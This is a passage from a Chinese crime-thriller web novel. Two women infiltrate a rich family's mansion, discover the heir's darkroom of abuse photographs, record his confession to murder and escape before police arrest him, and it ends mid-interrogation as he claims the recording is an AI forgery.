不远处，身着制服的保洁人员推着垃圾车缓缓走来，她们将垃圾车里的东西倒在了垃圾桶里，并转身抽了一口烟，待保洁人员转身时，沈聆和宋明夷迅速起身，利落地翻进垃圾车，蜷缩在散发着恶臭的垃圾堆里。
她们蜷缩着身子躲在垃圾车里，感觉到小轮子轱辘轱辘地往前推着，从垃圾车外隐隐约约传来保洁人员的声音。
“奇怪了，我怎么感觉今天的车这么重啊？”
“没道理啊，这不是刚倒了的吗？你错觉吧。”
“可能是我最近太累了，唉，今天下了班要回去早点睡。”
躲在垃圾车里的两人不敢说话，还好她们的体型都算瘦弱，虽然躲在垃圾车里，但却也不太明显。
刺鼻的臭味直冲脑门，那味道腐烂中带着几分腥臭，手边、脚下是还没有倒干净的厨余垃圾，也不知道走了多久，终于，垃圾车停了下来，两人听到保洁人员的脚步声逐渐远去，才小心翼翼地从垃圾车里探出脑袋。
“就是这儿了。”
沈聆抬手推开垃圾车的盖子，从垃圾车的缝隙往外看去，发现她们正在一个类似保洁间一样的地方，周围没有人，保洁间的灯已经关了，沈聆那双适应了黑暗的眼睛逐渐看清了保洁间的一切——
白色的地砖、不锈钢的桌子，靠着墙边放着扫把和拖把，在桌上放着各类清洁剂，这里似乎是顾宅清洁人员的工作室，在墙边还挂着几件白色的保洁人员工作服，以及一本工作日志。
空气中充斥着一股消毒水的味道，地上有点潮湿，隐隐约约留着工作人员离去时留下的脚印。
沈聆环视了一圈，确认周围并没有监控摄像头：“明夷，我们可以出去了。”
宋明夷微微点头，她的心跳也不由自主地加快：“我们按计划行动，小心为上。”
两人这么说着，离开了垃圾桶。
“小聆聆，我们把这个衣服穿上吧！这里还有口罩，换上这一套应该就没人觉得我们是小偷了。”
“什么呀，我们本来就不是小偷啊。”
“额，对哦，我这老鬼鬼祟祟的，都习惯了哈哈哈……”
两人换上了保洁人员的衣服，虽然衣服有点大，但还算合适，在戴上口罩之后，两人猫着腰，推开了保洁间的门，朝外走去。
走廊两侧的墙壁上，挂着一幅幅价值连城的油画，画框均是由厚重的实木打造，雕刻着精美的花纹，与画作相得益彰，画中人物是中世纪人物，他们或神情庄重，或优雅浅笑，他们的目光似乎穿越了岁月，紧紧地跟随着每一个经过的人，让人莫名地心生局促。
空气中弥漫着淡淡的熏香，那香味幽微而绵长，带着一丝若有若无的甜味，萦绕在鼻尖，挥之不去。
走廊的尽头，一扇巨大的落地窗占据了整面墙。
此时，夜色如墨，窗外的黑暗如同一头巨兽，将整个世界吞噬，透过窗户，只能隐隐约约看到花园里的树木在夜风中摇曳，它们的影子被拉得长长的，投射在地面上，如同鬼魅般扭曲、晃动。
偶尔，有一丝微风吹过，吹动着厚重的窗帘，窗帘轻轻摆动，发出“簌簌”的声响，更增添了几分神秘而阴森的气息。
她们的脚步轻得几乎没有声音，每一步都小心翼翼，生怕触动任何警报装置。
根据之前的分析，那带着露台的房间很可能就是顾健的房间，那房间在二楼，两人沿着楼梯，从一楼缓缓上楼，楼梯的木板在她们的踩踏下偶尔发出轻微的“吱呀”声，让人心惊胆战。
终于来到二楼，她们在东侧的走廊上停下。
沈聆将耳朵贴在一扇门上，仔细听了听，确定里面没有动静后，向宋明夷点了点头，宋明夷再次施展□□，打开了顾健房间的门。
房间里烟雾缭绕，空气中弥漫着一股淡淡的烟草味道，让人有些刺鼻。
房间的布置异常奢华，仿佛置身于一个豪华宫殿之中——只见一张巨大的床铺占据了房间的中心位置，柔软的床垫和华丽的床罩显示出主人对舒适生活的追求，昂贵的家具摆放得整整齐齐，每一件都散发着独特的光泽，无疑是高品质的象征。
沈聆和宋明夷对视了一眼。
“这应该就是他的房间吧？”
“看这样子，应该是……”沈聆走到书桌前，看见书桌上放着一张照片。
照片上，是一个脸上有疤的男人，那男人穿着学士服，对着镜头一笑，虽然他是笑着的，但眼睛却没有任何笑意。
沈聆看到这张照片的第一反应就是——颤抖。
她瞬间想起了在幻境中，这男人杀死红衣女人的场景，他握着匕首，站在门口，在红衣女人满心欢喜地打开门的那一瞬间，将匕首插入了她的身体里，甚至于，在她想要反抗的时候，他一次次毅然决然地要杀死她。
这样的杀意，令人不寒而栗。
宋明夷看出了沈聆眼中的情绪，她悄声问道：“……你确定是这个男人吗？”
沈聆没有说话，只是咬着下唇，点了点头。
她现在很肯定，顾倩倩的死，一定和顾健有抹不去的联系！
黎磊想要说的话，或许就是和顾健有关的真相。
他一定有什么想要交代自己的事情，想要拜托自己查到的事情！
“我们赶紧找一找有什么有用的线索，不确定顾健什么时候会回来，我们的时间可能不多了。”
“好。”
两人迅速展开行动，开始仔细搜索这个房间。
首先，她们打开了衣柜，里面挂满了各种高档的衣物，琳琅满目，她们小心翼翼地翻动着每一件衣服，检查是否有隐藏的物品，接着，他们
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来到书桌前，抽屉被一一拉开，里面的文件和杂物被仔细查看。
可奇怪的是，整个房间都被他们翻了个底朝天，但仍然没有找到她们想要的证据。
这房间里有用的东西并不多，大部分都是日常用品或者是无关紧要的顾健的个人物品，并没有找到什么能证明顾健和顾倩倩有联系的物证。
沈聆皱起眉头，眼神中透露出一丝焦急。“难道我们找错地方了？”
宋明夷摇了摇头，“不可能，一定还有什么地方我们没注意到。”
“会不会……藏在了其他我们不知道的地方？我小时候看电视的时候，这些有钱人不是都有什么暗格之类的地方吗？”
就在这时，沈聆无意间碰到了墙上的一幅画，画框晃动了一下。
她心中一动，仔细观察那幅画，发现画框边缘有一个不易察觉的按钮，她按下按钮，只听一阵轻微的机械转动声，房间的一面墙缓缓移动，露出一个隐藏的入口。
“暗房！”两人几乎同时低声惊呼。
沈聆和宋明夷小心翼翼地推开那扇通往暗房的门，一股浓烈刺鼻的药水味瞬间如汹涌的潮水般扑面而来，直钻鼻腔，刺激得两人忍不住同时皱起眉头，沈聆甚至下意识地抬手捂住口鼻。
房间里亮着一盏暗红色的灯，这盏灯的光线很暗，将暗房染上了一层神秘的色调。
踏入暗房，首先映入眼帘的是它略显局促的空间。
虽说面积不大，可里头却满满当当地摆满了各式各样的设备，显得格外拥挤。
左侧墙边，一台体积庞大的老式冲洗机静静伫立，金属外壳上布满了岁月的斑驳痕迹，机器表面的各种旋钮和按键仿佛在诉说着往昔被频繁使用的历史。
与之相邻的，是一个木质的多层置物架，上面整齐排列着大小不一的塑料容器，里面盛放着不同种类的药水，在昏黄灯光的映照下，药水的颜色深浅不一，或幽绿，或深棕，透着几分神秘。
正中央摆放着一张略显陈旧的桌子，桌面坑洼不平，上面残留着不少药水干涸后留下的污渍，而此刻，在这张桌子上，格外显眼地散落着许多还没有冲洗的胶卷。
这些胶卷有的装在小巧的塑料盒里，盒盖半开着，似乎在急切地等待着被处理；有的则裸露在外，银色的金属光泽在昏暗中闪烁着，仿佛藏着无数不为人知的秘密。
沈聆和宋明夷对视一眼，眼中均闪过一丝紧张与期待，他们知道，这些胶卷或许就是揭开顾家罪恶行径的关键线索。
“小聆聆，你看，这里有几张已经冲洗好的照片。”
在桌子旁挂着几条红绳子，红绳子上用夹子夹着几张冲洗好的照片，沈聆和宋明夷凑近一看，发现是一张女孩子的照片。
照片中的女孩子躺在床上，披散着头发，一副人事不省的模样，她衣衫不整，身体下的床单凌乱着，但她的表情却没有任何痛苦，仿佛依旧沉浸在睡梦之中，对外界的一切浑然不觉。
214. 照片
看到这张照片的第一时间，沈聆和宋明夷都感觉到有种生理上的不适。
照片中的女孩子明显没有意识，在昏迷不醒的情况下，衣衫不整地被他人拍照，这意味着什么？
很难让人不往某个方面遐想。
沈聆和宋明夷不知道照片上的女孩子是谁，不知道这张照片是在什么时候、什么场合拍的，但是小小的一张照片，却足以毁了一个女孩子的人生。
看到这张照片的时候，沈聆便知道顾健是个怎样的人了。
他有着特殊的癖好，并且喜欢留下把柄，甚至用这些把柄威胁别人。
那么，他和顾倩倩是什么关系呢？
他是否也拍下过顾倩倩的照片？
他威胁过顾倩倩吗？
沈聆沉思着，在她思忖时，宋明夷直接撕掉了这张照片。
“明夷？！你……”
“这些照片，留着也是害人，不如做点好事，帮帮这个女孩子。”
宋明夷面无表情地撕碎了这张照片，并将照片随意地丢进了旁边的垃圾桶。
“但是……如果他回来的时候发现照片少了怎么办？”
“发现就发现，不管他到底做了什么，我是一定要举报这个男的，在他发现的时候，警察一定也就过来了。”
宋明夷说着，拿出了自己的手机，打开了通讯录，她在通讯录里找到了林凌的电话号码，并打算拨打报警电话。
不过，这暗室似乎有特殊的信号屏蔽设备，在这里，并不能拨打电话，也无法使用网络。
宋明夷左右摇晃了一下手机，尝试着在暗室里各个角落接收信号，但却发现于事无补。
“该死，这里没有信号，顾健还真是狡诈！”
“他既然敢做这些事情，一定是做了完全的准备，顾家这么有钱，要屏蔽其中一个房间的信号并不是难事。”
“也是，我去外面找找信号，小聆聆你先看看这里有没有什么可以利用的线索，特别是和顾倩倩有关的。”
“好。”
宋明夷说着，转身朝着暗房外走去。
沈聆环顾了一圈，发现眼前挂在红绳子上的，还有其他许多女孩子，这些女孩子全都是昏迷着的，看起来大部分都是十五到三十岁之间，甚至还有外国人。
此外，暗房中间的桌子上放着一些胶卷。
她开始仔细查看那些胶卷，发现每一个胶卷上都标注着日期和一些奇怪的符号。
沈聆拿起一个标注着“2024-05-15”的胶卷，装入冲洗设备，冲洗好照片之后，将照片放入了水池之中，水池中泡着特殊的显形药水，沈聆捏着照片的一角，将照片在药水中轻轻晃动。
随着药水的浸泡和冲洗，一张照片逐渐显影。
随后，她举起了这张照片，发现照片上是一个面容憔悴的女孩，眼神中充满了恐惧和绝望，她的手脚被捆绑着，身后是一片黑暗。
看到这里，沈聆的手微微颤抖，她强忍着心中的愤怒和悲痛，继续冲洗其他照片。
一幅幅照片被冲洗出来，每一张都是不同的受害女孩——她们有的被折磨得遍体鳞伤，有的眼神空洞无神，仿佛已经失去了对生活的希望。
这些女孩子和之前看到的照片中的女孩子不同，她们是清醒的，甚至是正在被折磨中的状态。
顾健拍下了她们的照片，记录下了她们眼眸中的恐惧。
他似乎很享受这一刻女孩子眼中流露出的畏惧。
每一张照片的角度和姿势，都是他精心设计的，就像是在调整心爱的手办的角度。
“真是变态……”
沈聆咬着牙，恨不得直接将顾健送进监狱。
没想到在光天化日之下，还有这样的人面兽心的人行走在人世间。
讽刺的是，这样的人反而家财万贯，有权有势。
而那些被折磨的人，却是最普通不过的女孩子。
她们没有任何保护自己的办法，只能任由他人折磨自己，踩在自己的尊严上，吸她们的骨血。
“要是能曝光这个变态就好了。”
“哈哈，小姐姐，恐怕你这个想法，是不好实现了。”
一个男人的声音从身后传来，沈聆浑身一颤。
她转过身，看见宋明夷被一个男人挟持着，一点点走进了暗房里。
那个男人抓着她的肩膀，用一把匕首抵着宋明夷的喉咙，她不敢说话，脸色惨白，能感觉到温热的脖颈外就是冰冷的刀刃，性命被攥在他人手里，她只能被迫往前走。
“明夷！”
“别动！你朋友现在在我手里，如果不想她死的话，你就乖乖听话！”
那男人从宋明夷后面探出半个脑袋来，沈聆看见了那张带着伤疤的脸。
是顾健！
沈聆心下一沉，她知道大事不妙了。
“你……你不要轻举妄动！”
顾健冷冷一笑：“轻举妄动？小姐，麻烦你搞清楚你们的立场，现在是你们闯入了我家，偷进了我的房间，乱翻我的东西，现在反而叫我不要轻举妄动？真是可笑！”
“顾健！你这个变态！你偷拍女孩子的照片，你要做什么？！”宋明夷大声呵斥着，但随后，顾健加重了手上的力度，他的手劲很大，抓着宋明夷的肩膀，让她疼得龇牙咧嘴。
“我偷拍？哈哈哈哈，可笑，我是光明正大地拍的，那又如何？她们全都是贱货，看中了我的钱，愿意跟我‘做交易’，这是她们的选择，我只不过是留了点‘纪念品’而已！”
“你这是犯法的！”沈聆反驳，“这些女孩子全都是昏迷状态下被你拍照的，你这个变态，你是不是也对顾倩倩做了同样的事情？！”
“顾倩倩？”
听到这个名字，顾健冷笑了一下，眼中闪过几分不屑和冷漠。
沈聆咬牙看着顾健：“对，顾倩倩，一个月前，死在世纪大酒店的人，世纪大酒店是你爸经营的酒店，不要跟我说你对这件事情没有印象！”
顾健反复出现在顾倩倩的幻境里，担任的是谋杀者的角色，沈聆笃定顾健和顾倩倩的死脱不开关系，这也是她今天探访顾宅的原因。
时间或许会忘记，但死者不会忘记，究竟是谁
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下的杀手，究竟是谁握着匕首，他们从来都不曾忘记！
顾健似乎是想了一会儿，才想起来这个人：“哦，你说的是那个死掉的女人啊，我都对她没什么印象了。”
“你……”
“那女人啊，是我爸资助的一个孤儿，你也知道，这种人，生来下贱，无父无母，无名无姓的，我爸当时做好事，在孤儿院认养了一个孤女，给她起了名字，资助她读书，她呢，仗着自己有点姿色，开始找我爸各种要钱，也不知道她把钱都花哪里去了，我呢，就以哥哥的名义，想靠近她看看这个女人是什么成分。”
顾健说着，往前走了几步，宋明夷被他抓着，只能被迫也往前走着。
两人一点一点靠近房间里的沈聆，毕竟宋明夷在对方手上，沈聆担心顾健做出什么冲动的事情，只能暂时按兵不动，死死盯着对方。
“然后呢，你发现了什么？”
“这倒也没有发现什么，只不过那个婊子滥用我爸的钱，买各种名牌包包，名牌化妆品，你说这种人，也配用我家的钱、跟着我爸姓？这女人，就是长相还行，玩一玩也就罢了，长期供着她，太不值了，我玩腻了几次，腻了，就替我爸顺手处理掉她了，反正也是个赔钱货，也算是及时止损了。”
“……顾健，那是一条人命。”
“我知道，那又如何？在这个世界上，没有用钱买不到的东西，人命也是。”
“顾倩倩应该不是自杀的吧……割腕自杀只不过是一个假象，是你爸为了替你这个不孝子掩盖罪行，伪装的自杀现场。”
“是啊，但那又如何？哈哈哈哈，这些不过是便宜的玩具，玩一玩就扔了，你，还有这个女人，你们都是贱货！你们试图想为她们讨回公道，殊不知，你们今天也要葬身在这里！”
顾健说着，抬起手，手中的匕首朝宋明夷的脖颈刺了下去！
宋明夷一低头，一口咬住了顾健的手背，他吃痛地叫了一声，手中的匕首偏离了角度，擦过了宋明夷的脖颈，她一个回身扭开了顾健的胳膊，一脚踹在他的下盘。
宋明夷这一脚，不偏不倚，正中顾健的“要害之处”！
刹那间，顾健只觉得一阵剧痛袭来，仿佛整个下半身都被撕裂开来一般！
“啊——”
他不由自主地发出一声惨嚎，双手紧紧捂住自己的□□，脸色瞬间变得惨白如纸，额头上冷汗涔涔而下。
这疼痛的感觉如同燎原之火一般，迅速从他的□□蔓延至全身各处，每一根神经都在痛苦地颤抖着，让他几乎无法站立，他的身体摇摇欲坠，仿佛随时都可能倒下。
“快跑！”
沈聆见状，一个箭步冲上前，拉起宋明夷的手，两人跑出了暗房。
“给我站住！”
顾健咬着牙看着两个女孩子的背影，他从口袋里掏出了一把手机，拨打了一个电话。
“喂？老魏，我的房间里跑进了两个女人，她们穿着保洁的衣服，现在从我房间里跑出去了！召集所有安保队队员，给我抓住她们！我不管你们用什么手段，一定不能让她们活着离开顾家！”
215. 追捕
沈聆和宋明夷跑出了顾健的暗房，他们朝着房间外跑去，转过走廊，迎面便看到一队穿着黑色保安制服的人追了过来。
“快！”
“就是她们！”
“抓住她们！”
沈聆心中暗道一声不妙，拉着宋明夷的手转身往相反的方向跑去。
顾家很大，每一条走廊都显得如此相似，她们匆忙跑过那铺着地毯的走廊，走廊的灯光落在她们身上，照亮了那两张惨白的小脸，走廊上挂着的中世纪油画，画中人冷漠地看着她们，似乎在嘲笑她们的无知。
沈聆拉着宋明夷跑过一条走廊，刚想沿着楼梯下去，却看见另一队人马从下面追了过来。
沈聆没办法，只能带着宋明夷往楼上跑去。
她记得自己从外面看这栋豪宅的时候，这栋豪宅差不多有五层楼的高度，如果跑到天台，还有其他出路吗？
沈聆不知道。
她只知道梁家的安保人员数量比她想象中更多一点。
两人只能仓皇逃命。
沈聆和宋明夷一路奔逃，脚步慌乱得如同受惊的小鹿，双腿机械地交替着，步伐凌乱而急促，恰似两只在黑暗中被猛兽追逐、惊惶失措的小鹿。
“呼……呼……”
沈聆的胸膛剧烈地起伏，她大口大口地喘着粗气，每一次呼吸都像是要将周遭所有冰冷的空气一股脑儿吸入肺部，那股冷意顺着呼吸道直灌而入，瞬间让她的喉咙泛起一阵火辣辣的疼，好似被粗糙的砂纸反复摩擦，可即便如此，她那因恐惧而瞪大的双眼，始终坚定地望着前方，脚步未曾有丝毫停歇。
转头看向身后的宋明夷，她的状态同样糟糕透顶。
一头原本整齐的秀发此刻凌乱地散落着，几缕发丝被汗水浸湿，紧紧贴在她苍白如纸的脸颊上，她的眼神中满是惊惶，每跑一步，身体都会不自觉地颤抖一下。
在这极度紧张的氛围下，两人的呼吸愈发沉重，节奏也全然混乱，每一口气息都像是在与死神争抢着时间。
这样不顾一切地奔跑，身体的疲惫感如潮水般迅速袭来。
沈聆能清晰地感觉到自己的体力正随着每一步的迈进而飞速流逝，双腿像是被灌了铅，越来越沉重——她深知，再这样持续下去，体力被彻底消耗殆尽不过是时间问题。
“她们在左边！”
“快追！”
身后那逐渐逼近的嘈杂脚步声和呼喊声，如同催命符一般，让她们根本没有停下的余地，只能咬着牙，拖着沉重的身躯，在这危机四伏的走廊上继续亡命奔逃。
跑到四楼时，沈聆余光瞥见一扇半掩的房门，来不及细想，她用力将宋明夷推进去，自己也迅速闪身而入，随后轻轻关上房门，后背紧紧抵着门，心脏剧烈跳动，仿佛要冲破胸膛。
房间里弥漫着一股陈旧的气息，昏暗的光线透过厚重的窗帘缝隙艰难挤入。
沈聆环顾四周，发现这像是一间被遗忘的书房，堆满了落满灰尘的书架和陈旧的桌椅。
宋明夷颤抖着拉住沈聆的衣角，声音带着哭腔：“我们怎么办，他们马上就会找到这里的。”
沈聆拍了拍宋明夷的手，试图让她镇定下来，轻声说：“别怕，我们先躲一会儿，总会有办法的。”
她打开了手机，在通讯录里找到了林凌的电话号码，但此时，一个疑问也涌上心头——林凌来得及赶过来吗？这里距离陵川市公安局有三公里的距离，以最快的出警速度赶到这里时，沈聆和宋明夷多半也已经被顾家抓住了，若到时候顾家把她们藏起来了，又该作何处理？
沈聆感觉到脑子很混乱，她只能大口大口地呼吸着，感觉到汗水顺着额角滑落。
她抬手擦去了额角的汗水，颤抖着双手，用最快的速度将手机上的一个文件发送给了林凌，这是一份录音文件，录音文件有点大，传输需要一定的时间，沈聆看着传输页面正在前进的进度条，不由得捏一把汗。
此时，外面的脚步声越来越近，杂乱的呼喊声也愈发清晰：“她们肯定在这一层，仔细搜！”
沈聆紧张地屏住呼吸，眼睛紧紧盯着那扇紧闭的房门，每一秒都仿佛被无限拉长。
突然，门把手转动了一下！
房内的沈聆和宋明夷的心瞬间提到了嗓子眼，她下意识地将宋明夷护在身后，双手用力抵住门，好在，门外的人似乎只是试探了一下，很快脚步声便渐渐远去。
两人稍稍松了口气，但沈聆知道，危险并未解除。
她在房间里踱步，见文件已经传输完毕，她将手机放回了口袋里，试图寻找其他出路。
这时，她发现房间的书桌上放着一个相框，相框里是一张陈旧发黄的相片，相片里，一个四十多岁的男人正坐在椅子上，一脸严肃地看着摄像师，表情不苟言笑。
沈聆看到这男人的第一眼，不由得呼吸一滞。
她认得这个男人！
在吴妄的梦境里，她曾经清清楚楚地看到这男人用飞刀杀死了吴妄的母亲！
她始终记得飞刀划过空气的弧度，记得那锋利的刀刃插入柔软背部的声音，记得吴妄母亲摇曳倒下的身子，以及吴妄躲在树丛中瑟瑟发抖的模样……
是他？！
就在这时，门外又传来一阵嘈杂的脚步声，听声音，顾家的安保人员似乎又折返回来了。
沈聆来不及多想，拉着宋明夷冲向窗户。
向外望去，窗户距离地面有一定高度，但旁边有一根粗壮的排水管，或许可以顺着它爬下去。
沈聆咬咬牙，对宋明夷说：“我们从这里下去，抓紧我。”
宋明夷看着那根排水管，面露惧色，但还是坚定地点了点头。
两人蹑手蹑脚地走到窗边，轻轻推开窗户，生怕发出一点声响，沈聆深吸一口气，然后小心翼翼地将身体探出窗外，双手紧紧抓住排水管，慢慢地顺着管道往下爬去。
宋明夷站在窗边，看着沈聆逐渐下降，心中有些紧张，不过，现在也没有其他
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办法，她深吸一口气，定了定神，然后也学着沈聆的样子，双手紧紧抓住排水管，小心翼翼地跟着往下爬。
排水管有些滑，两人都不敢掉以轻心，每一次往下，都带着几分恐惧和不安，风轻轻吹过，吹起了她们的衣角，也带来了一丝凉爽。
刚爬到一半，楼下便传来一声大喊：“在那里！”
紧接着，一阵密集的脚步声朝这边奔来。
沈聆加快速度往下，双手被粗糙的管壁磨得生疼，但她顾不上这些，心中只有一个念头：逃出去！
终于，两人顺着水管落在了豪宅旁的草丛里，平安落地后，沈聆拉起宋明夷，朝着花园深处的灌木丛跑去。
“快追！”
“别让她们跑了！”
“把大门关起来！”
在身后，保安们的呼喊声和急促的脚步声如影随形，仿佛是一群饿狼在追逐两只受惊的兔子，他们手中的手电筒射出的强烈光束，无情地刺破了黑暗，照亮了那两个女孩惊恐的背影。
这两个女孩慌不择路地狂奔着，心中只有一个念头——逃离这个可怕的地方！
她们在花园里逃命，完全顾不上辨别方向，只是本能地向前冲去，希望能找到一个安全的出口。
然而，四周的保安们却如训练有素的猎人一般，逐渐缩小着包围圈，他们默契地配合着，一步步将女孩们逼入了花园的角落，让她们无路可逃。
“该死……”
沈聆将宋明夷护在身后，看着将自己包围起来的保安，往后退了几步，一直到退无可退，后背抵着冰冷的栏杆，无处可去。
“哈哈哈哈，你们就认命吧，进了顾家，你们插翅难逃！”
从人群中，走出了那个脸上带疤的男人，他微微眯着眼睛，得意地看着沈聆和宋明夷，满意地欣赏着二人眼中的恐惧。
他拿着拍立得相机，拍下了两人被逼到了墙角的画面。
——这将是他的收藏品之一，也将是他十分满意的作品之一。
就在这时，他突然注意到在拍下的照片中，沈聆和宋明夷身后冒出了一个男人，照片中，那个男人正冷冷地看着镜头的方向。
顾健疑惑地抬起头看向沈聆和宋明夷，许多辆车的车灯突然打开了！
那些是警车！
原来，这些警车从几个小时之前就停在顾家栏杆之外，只不过，警车原先藏在了街道的黑暗中，一直到这一刻，才打开了警车的车灯，从街角转了出来。
沈聆和宋明夷也吃惊地转过身，警车的车灯刺痛了她们的眼睛，她们看到站在警车前面的是一个年轻男人。
他冷冷地看着围栏里的顾健，从口袋里拿出了一本黑色的证件。
“你好，我是陵川市公安局刑警支队的林凌，顾健先生，现在怀疑您涉嫌谋杀，请您跟我们走一趟，配合我们的调查。”
在林凌身后，那些警车闪起了蓝红色的灯。
绚烂的灯交织着，照亮了这一夜的天空。
216. 录音
“说吧，你对顾倩倩都做了什么事情。”
在审讯室的灯亮起的那一刻，刺痛了顾健的眼睛。
他微微眯起眼睛，抬手挡在眼睛前面，像是在遮挡那光线，又像是，在遮挡这些丑恶的真相。
林凌坐在他对面，身边坐着一个敲着键盘的警员。
两人今夜负责审讯顾健。
只不过，今天的这位审讯对象似乎没有那么好搞定。
只见他微微勾起嘴角，露出一抹嘲讽的笑容：“怎么？我什么都没做，你们警察办案不是要证据的吗？就这么平白无故把我带过来这里，你就不怕我爸的法律团队起诉你？”
“哼，我知道你们酒店背后是梁氏集团的法务顾问，但从这方面来说，整个陵川市或许还真没有几个公司能敌得过你们。”林凌沉着冷静地说着，看起来完全不在意对方的威胁，“不过，你也说了，我们警察办案是讲究证据的，请您来喝茶，也不是完全没有证据。”
林凌说着，从文件夹里拿出了一张照片。
那照片是顾倩倩的个人照，他将这张照片放在了桌上，推到了顾健面前。
顾健微微低下眼眸，看了一眼这张照片，他脸上没有任何波澜，显然之前已经意识到会有这么一天。
看到他这神情，林凌心中也大致猜到顾健在心里早已经准备好了一套说法，甚至这套说法已经事先找过律师确认无误，所以他现在才会这么气定神闲。
不过没关系。
审讯，讲究的就是心理突破。
只要能突破顾健的心理防线，再精细的准备，也会有漏洞。
而漏洞，就是他们的机会。
林凌调整了一下坐姿，歪着头看着顾健：“根据我们的调查，顾倩倩，是你爸爸名义上的养女，她是个孤儿，在孤儿院的时候，你爸爸就领养了她，我们调查了顾六壬的银行记录，发现他专门给顾倩倩买了一个单身公寓，顾倩倩上学时就住在单身公寓里，虽然和顾家的来往并不多，但从近几年的银行转账记录来看，你爸爸的确是在资助她读书和生活的。”
顾健听了，不置可否。
林凌继续说下去：“顾倩倩，长得漂亮，从小就有许多拥护者，是同班男同学心中的白月光，前几年，你一直在国外读书，或许只是听说了顾家有这么一个养女，但是从未照面，三年前，你回国了，我想，在某一天，你见到了顾倩倩，并对这么一个青春洋溢的少女动了心思。”
顾健一笑：“警官，你有证据吗？我和顾倩倩，算是名义上的兄妹，你这样污蔑我们，你不怕我们告你吗？”
“我们调查了顾倩倩就读的职业学校沿街的监控，虽然大部分监控已经被覆盖，但学校的监控记录并不会被自动覆盖，我们在学校的监控记录里看到，你的那辆红色跑车曾经多次出现在顾倩倩的学校外，并根据顾倩倩同学的证词，那段时间，他们确实看见过几次顾倩倩上了豪车。”
林凌说着，将一辆红色跑车的照片推到了顾健面前。
顾健看着那辆跑车，微微一笑：“不愧是吃公粮的，工作做得挺到位的。没错，这辆车是我的车，但那又如何？我是顾倩倩名义上的哥哥，我去妹妹的学校看妹妹，这不犯法吧？我带妹妹出去玩，这也不犯法吧？”
“是不犯法，但是我们调查了那几个月你的行程，发现从顾倩倩的学校离开后，你就带她去了宾馆，你觉得，这是合理的吗？”
“等等，警官，我是开车去了宾馆，但是这只是去休息一下，而且你怎么证明当时车上就有顾倩倩？她只是坐我的车，让我捎她一段路，后面是我自己去酒店休息的，你可以去查，我住的酒店就是世纪大酒店，里面的每一个员工都可以给我作证。”
“但是你也说了，你入住的是世纪大酒店，那酒店就是你爸的地盘，我们就算怎么调查，也查不到什么东西的。”
“那我就没办法了。”顾健一摊手，“我已经说了实话，至于你们要怎么核实、能不能核实，我就不知道了，警官，这是你们的工作，我已经尽了公民的配合调查的义务。”
顾健云淡风轻地说着，丝毫不在意这些事情警方会查到什么程度。
他很清楚，顾六壬已经帮他做好了一切善后工作。
在世纪大酒店里，警方查不到任何有价值的线索。
顾六壬是一个小心谨慎的人，特别是在孩子出事之后，他更明白事情的严重性，因此更不会在这件事情让留下任何把柄，成为诟病自己儿子的证据。
林凌早已经查过酒店的所有调查记录，里面偏就少了停车场A区的停车记录。
经调查，停车场A区是员工停车位，顾健回到世纪大酒店，一定是将跑车停在了那里，至于当时跑车上是否有顾倩倩，因为缺乏监控，一切都不得而知。
“月酥堂的老板，曾经目击顾倩倩上了你的车，你的车有一天追尾维修记录，我们调取了修理厂的维修图，经过月酥堂老板的指认，确定能和你的车对上，这一点，你怎么解释？”
“很简单，带妹妹去买甜品，这不是一个好哥哥会做的事情吗？”顾健一挑眉，看着林凌。
“我们在你的房间里发现了一个暗房，里面有许多的用来拍摄的装备以及冲洗照片的设备，你是用来做什么的？”
“你也说了，拍照嘛，我有点个人小爱好，很正常吧？”
“喜欢拍照倒也不是问题，但你拍的都是什么？”
“花鸟虫鱼咯，警官，我这样的家庭，什么相机买不起？你们穷人无法想象我们的爱好，就不要揣测你们想象不出的生活了。”顾健的笑容更深了几分。
林凌看着顾健的笑容，感觉到浑身不适。
他微微握紧了拳头。
在警方进入暗房之前，顾健已经让家里的仆人处理掉了暗房里所有的照片，在警方赶到现场时，只剩下一些灰烬，所有相机里的胶卷和电脑里的存档全都被清空，顾健像是有意识地清除这一切证据一般，绝对不给自己埋下隐患。
“……花鸟虫鱼？如果只是花鸟虫鱼的照片，你为什么要都烧掉？”
“不满意呗，警官，我是一个有艺术追求的人，拍得不好看，我就
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烧掉了，这应该不犯法吧？”顾健挠了挠脸上的伤疤，不痛不痒地说。
“那这个，你怎么解释？”
林凌说着，拿出手机，点开了沈聆发给他的一段录音。
【我偷拍？哈哈哈哈，可笑，我是光明正大地拍的，那又如何？她们全都是贱货，看中了我的钱，愿意跟我‘做交易’，这是她们的选择，我只不过是留了点‘纪念品’而已！】
【那女人啊，是我爸资助的一个孤儿，你也知道，这种人，生来下贱，无父无母，无名无姓的，我爸当时做好事，在孤儿院认养了一个孤女，给她起了名字，资助她读书，她呢，仗着自己有点姿色，开始找我爸各种要钱，也不知道她把钱都花哪里去了，我呢，就以哥哥的名义，想靠近她看看这个女人是什么成分。】
【那个婊子滥用我爸的钱，买各种名牌包包，名牌化妆品，你说这种人，也配用我家的钱、跟着我爸姓？这女人，就是长相还行，玩一玩也就罢了，长期供着她，太不值了，我玩腻了几次，腻了，就替我爸顺手处理掉她了，反正也是个赔钱货，也算是及时止损了。】
听到这几段话，顾健的脸色一变。
他咬了咬牙，没想到沈聆居然录下了当时自己说的话。
顾健眯起眼睛，那双狭长的眼睛里透着几分恨意，恨不得掐死那两个闯入暗房的女人，如果不是她们，今天他不会这么被动。
林凌眼见顾健的脸色阴沉了下来，他知道对方从心理战的主动变为被动了。
他乘胜追击地说：“这些话，顾少爷应该不陌生吧？这是你的原话，说说吧，你是怎么对顾倩倩下手的，你爸爸，又是怎么帮你善后的？”
“……”
“你应该知道，坦白从宽、抗拒从严的道理，好好说话，配合警方的调查，说不定我们能帮你争取宽大处理。”
林凌拍了拍桌子，提高了音量。
顾健冷冷一笑：“警官，你以为这样恐吓我有用吗？我告诉你，我顾健也不是吃素的！在律师来之前，我什么都不会说的！我要找律师！”
林凌和坐在身边的同事对视了一眼，他们倒是没想到这个顾健比想象中还要硬骨头。
顾健稳了几分心神，继续叫嚣道：“而且，你就用一段录音就能给我定罪？警官，这录音没头没尾的，肯定是伪造的！现在的AI技术多发达？这录音肯定是AI创造出来的，我不承认！”
他那双眼睛，犹如寒冬腊月里的冰湖，冰冷而沉静。
那眼眸深处，似乎隐藏着无尽的寒意，让人不禁心生畏惧。这双眼睛，就像是雪山之巅的冰霜，冷峻而孤傲，仿佛世间万物都无法融化它的冰冷。
他的目光如同一道冷冽的寒芒，死死地钉在林凌身上，仿佛要将他穿透一般。
